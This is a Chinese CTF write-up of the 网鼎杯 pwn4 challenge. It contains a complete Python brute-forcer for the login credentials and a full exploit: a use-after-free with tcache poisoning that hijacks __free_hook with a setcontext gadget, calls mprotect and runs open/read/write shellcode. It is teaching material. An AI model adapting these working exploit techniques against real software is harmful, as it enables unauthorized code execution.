前言
复现了一下去年网鼎杯青龙组pwn4题目,学了一下新的东西
爆破用户名与密码
from pwncli import * from time import * context(log_level='debug', arch='amd64', os='linux') context.terminal = ["tmux", "splitw", "-h"] uu64 = lambda x: u64(x.ljust(8, b'\x00')) s = lambda x: p.send(x) sa = lambda x, y: p.sendafter(x, y) sl = lambda x: p.sendline(x) sla = lambda x, y: p.sendlineafter(x, y) ru = lambda x: p.recvuntil(x) ti = lambda : p.interactive() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) p=process('./pwn') username=b'' while True: r='' for i in range(31,128): username+=chr(i).encode() username+=b'\x00' sla("username:\n",username) r=p.recvline() print(r) if b'correct' in r: print("the correct username:",username) break if b'length!' not in r: username=username[:-2] else: username=username[:-1] break if b'correct' in r: break password=b'' sla("password:\n",b'a\n\x00') while True: r='' for i in range(31,128): password+=chr(i).encode() password+=b'\x00' sla("username:\n",username) sla("password:\n",password) r=p.recvline() print(r) if b'correct' in r: print("the correct password:",password) break if b'length!' not in r: password=password[:-2] else: password=password[:-1] break if b'correct' in r: break ti()
|
strlen遇到\x00会截断,因此我们可以实现逐个字节爆破,爆破脚本如上
分析题目
随意的uaf,开了沙箱,需要使用orw
glibc2.27版本
一开始考虑使用堆栈结合,先泄漏libc地址,再通过environ泄漏栈地址,最后打orw
但是程序没有办法通过envrion泄漏栈地址,具体原因是在save_data函数里面,申请堆块的同时要求必须写入,并且写入的时候会在最后添加\x00,这也就意味着即使我们能够申请到environ附近,也会导致根本无法泄漏数据,因为泄漏的数据全部都是自己写的,\x00会截断。
之前已经学到了使用setcontext中的gadget来实现orw,但是没有实践过,这个题目刚好可以实践。
setcontext
https://blog.wingszeng.top/pwn-glibc-setcontext/
因为题目的glibc版本是2.27,因此比较好利用setcontext。
.text:0000000000052050 ; __int64 __fastcall setcontext(__int64) .text:0000000000052050 public setcontext ; weak .text:0000000000052050 setcontext proc near ; CODE XREF: sub_58680+C↓p .text:0000000000052050 ; DATA XREF: LOAD:0000000000009058↑o .text:0000000000052050 ; __unwind { .text:0000000000052050 57 push rdi .text:0000000000052051 48 8D B7 28 01 00 00 lea rsi, [rdi+128h] ; nset .text:0000000000052058 31 D2 xor edx, edx ; oset .text:000000000005205A BF 02 00 00 00 mov edi, 2 ; how .text:000000000005205F 41 BA 08 00 00 00 mov r10d, 8 ; sigsetsize .text:0000000000052065 B8 0E 00 00 00 mov eax, 0Eh .text:000000000005206A 0F 05 syscall ; LINUX - sys_rt_sigprocmask .text:000000000005206C 5F pop rdi .text:000000000005206D 48 3D 01 F0 FF FF cmp rax, 0FFFFFFFFFFFFF001h .text:0000000000052073 73 5B jnb short loc_520D0 .text:0000000000052073 .text:0000000000052075 48 8B 8F E0 00 00 00 mov rcx, [rdi+0E0h] .text:000000000005207C D9 21 fldenv byte ptr [rcx] .text:000000000005207E 0F AE 97 C0 01 00 00 ldmxcsr dword ptr [rdi+1C0h] .text:0000000000052085 48 8B A7 A0 00 00 00 mov rsp, [rdi+0A0h] .text:000000000005208C 48 8B 9F 80 00 00 00 mov rbx, [rdi+80h] .text:0000000000052093 48 8B 6F 78 mov rbp, [rdi+78h] .text:0000000000052097 4C 8B 67 48 mov r12, [rdi+48h] .text:000000000005209B 4C 8B 6F 50 mov r13, [rdi+50h] .text:000000000005209F 4C 8B 77 58 mov r14, [rdi+58h] .text:00000000000520A3 4C 8B 7F 60 mov r15, [rdi+60h] .text:00000000000520A7 48 8B 8F A8 00 00 00 mov rcx, [rdi+0A8h] .text:00000000000520AE 51 push rcx .text:00000000000520AF 48 8B 77 70 mov rsi, [rdi+70h] .text:00000000000520B3 48 8B 97 88 00 00 00 mov rdx, [rdi+88h] .text:00000000000520BA 48 8B 8F 98 00 00 00 mov rcx, [rdi+98h] .text:00000000000520C1 4C 8B 47 28 mov r8, [rdi+28h] .text:00000000000520C5 4C 8B 4F 30 mov r9, [rdi+30h] .text:00000000000520C9 48 8B 7F 68 mov rdi, [rdi+68h] .text:00000000000520C9 ; } // starts at 52050 .text:00000000000520CD ; __unwind { .text:00000000000520CD 31 C0 xor eax, eax .text:00000000000520CF C3 retn
|
可以看到从52085开始,就是通过rdi来给寄存器赋值。当我们将__free_hook函数改成这里的libc+52085时,我们去free一个堆块,其中rdi也就是这个堆块的地址,我们在这个堆块中填充数据,就可以修改寄存器的值。其中可以通过修改rcx来劫持控制流。
具体思路:
首先找一个堆块,在这个堆块上伪造一个返回地址,充当栈结构,同时在这个堆块后面可以写入shellcode,当然是orw的shellcode,之后我们再伪造一个堆块,第二个堆块是要free掉的,因此在这上面填充数据以修改寄存器的值,之后就是利用tcache poisoning来申请到free_hook区域,然后改写free_hook为libc+52085,接下来释放掉第二个堆块即可。
exp
from pwncli import * from Crypto.Cipher import ARC4 from Crypto.Util.number import bytes_to_long context(log_level='debug', arch='amd64', os='linux') context.terminal = ["tmux", "splitw", "-h"] uu64 = lambda x: u64(x.ljust(8, b'\x00')) s = lambda x: p.send(x) sa = lambda x, y: p.sendafter(x, y) sl = lambda x: p.sendline(x) sla = lambda x, y: p.sendlineafter(x, y) ru = lambda x: p.recvuntil(x) ti = lambda : p.interactive() leak = lambda name,addr :log.success(name+"--->"+hex(addr))
def dbg(): gdb.attach(p,'b* $rebase(0x1A98)\nhandle SIGALRM nostop\nb* $rebase(0x1407)') def pp64(*args): payload=b'' for i, arg in enumerate(args): payload+=p64(arg) return payload def rc4_decrypt(data:bytes,key=b's4cur1ty_p4ssw0rd'): cipher = ARC4.new(key) return cipher.decrypt(data)
def cmd(c): sla("> \n",str(c)) p=process('./pwn') libc=ELF('./libc.so.6') username="tgrddf55\x00" password="my_password\x00"
sla("username:\n",username) sla("password:\n",password) def save_data(key,size,content=b'a'): cmd(1) sla("Input the key: \n",str(key)) sla("size: \n",str(size)) sla("value: \n",content) def read_data(key): cmd(2) sla("Input the key: \n",str(key)) def delete_data(key): cmd(3) sla("Input the key: \n",str(key)) def edit_data(key,content): cmd(4) sla("Input the key: \n",str(key)) sla("value: \n",content) for i in range(4): save_data(i,0x100) for i in range(7): delete_data(0)
read_data(0) a=ru(",") b=ru(",") c=p.recv(8) heap_base=uu64(rc4_decrypt(c)) leak("heap_base",heap_base)
delete_data(1)
read_data(1) a=ru(",") b=ru(",") c=p.recv(8) libc_base=uu64(rc4_decrypt(c))+0x749445000000-0x7494453ebca0 leak("libc_base",libc_base) set_context=libc_base+0x52085 free_hook=libc_base+libc.sym['__free_hook']
heap4_addr=heap_base+0x5c521931cab0-0x5c521931c670 flag_addr=heap4_addr+0x150 shellcode_addr=heap4_addr+0x20 shellcode='' shellcode+=shellcraft.open('/flag',0,0) shellcode+=shellcraft.read('rax',flag_addr,0x100) shellcode+=shellcraft.write(1,flag_addr,'rax') shellcode=asm(shellcode) stack=p64(0)*2+p64(shellcode_addr)+p64(0)
stack+=shellcode print(stack.hex()) t=rc4_decrypt(stack) print(t.hex())
save_data(4,0x250,rc4_decrypt(stack)) 、
rsp=heap4_addr+0x10 rdi=(heap_base>>12)<<12 rsi=0x1000 rdx=7 rcx=libc_base+libc.sym['mprotect'] victim=b'' victim=victim.ljust(0x68,b'\x00') victim+=p64(rdi) victim+=p64(rsi) victim=victim.ljust(0x88,b'\x00') victim+=p64(rdx) victim=victim.ljust(0xa0,b'\x00') victim+=p64(rsp) victim+=p64(rcx) save_data(7,0x270,victim)
edit_data(0,rc4_decrypt(p64(free_hook))) save_data(5,0x100) save_data(6,0x100,rc4_decrypt(p64(set_context)))
delete_data(7)
ti()
|
注意点
这个题目自己实现了read函数,读到\n时结束,并把\n转换成\x00。
并且内容全部使用rc4来加密解密。
我在填充shellcode堆块时,发现总是解密的不对,最后发现是读取问题,因为rc4的加密可能会导致某些字节变成\n,就导致后面无法读入,因此要注意调整shellcode堆块的结构,以免出现\n。(这个地方折磨了我好久)